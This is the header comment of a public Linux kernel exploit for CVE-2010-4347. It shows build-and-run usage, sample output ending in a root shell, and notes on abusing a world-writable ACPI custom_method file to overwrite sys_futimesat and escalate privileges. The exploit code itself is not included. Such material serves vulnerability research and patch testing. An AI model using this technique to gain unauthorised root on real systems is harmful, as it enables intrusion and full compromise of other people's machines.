 * Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 * 
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
 *
 *   This custom_method file allows to inject custom ACPI methods into the ACPI
 *   interpreter tables. This control file was introduced with world writeable
 *   permissions in Linux Kernel 2.6.33.
 *
 * Usage:
 * 
 *   $ gcc american-sign-language.c -o american-sign-language
 *   $ ./american-sign-language
 *   [+] resolving required symbols...
 *   [+] checking for world-writable custom_method...
 *   [+] checking for an ACPI LID device...
 *   [+] poisoning ACPI tables via custom_method...
 *   [+] triggering ACPI payload via LID device...
 *   [+] triggering exploit via futimesat...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * Notes:
 *
 *   This vuln allows us to write custom ACPI methods and load them into the
 *   kernel as an unprivileged user. We compile some fancy ASL down to AML 
 *   that overrides the ACPI method used when the status of the LID device is 
 *   queried (eg. 'open' or 'closed' lid on a laptop). When the method is 
 *   triggered, it overlays an OperationRegion on the physical address where 
 *   sys_futimesat is located and overwrites the memory via the Store to 
 *   escalate privileges whenever sys_futimesat is called.
 *
 *   The payload is 64-bit only and depends on the existence of a LID device
 *   (eg. laptop), but the exploit will still tell you if you're vulnerable
 *   regardless. If you don't know how to work around these limitations, you 
 *   probably shouldn't be running this in the first place. :-P
 *
 *   Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
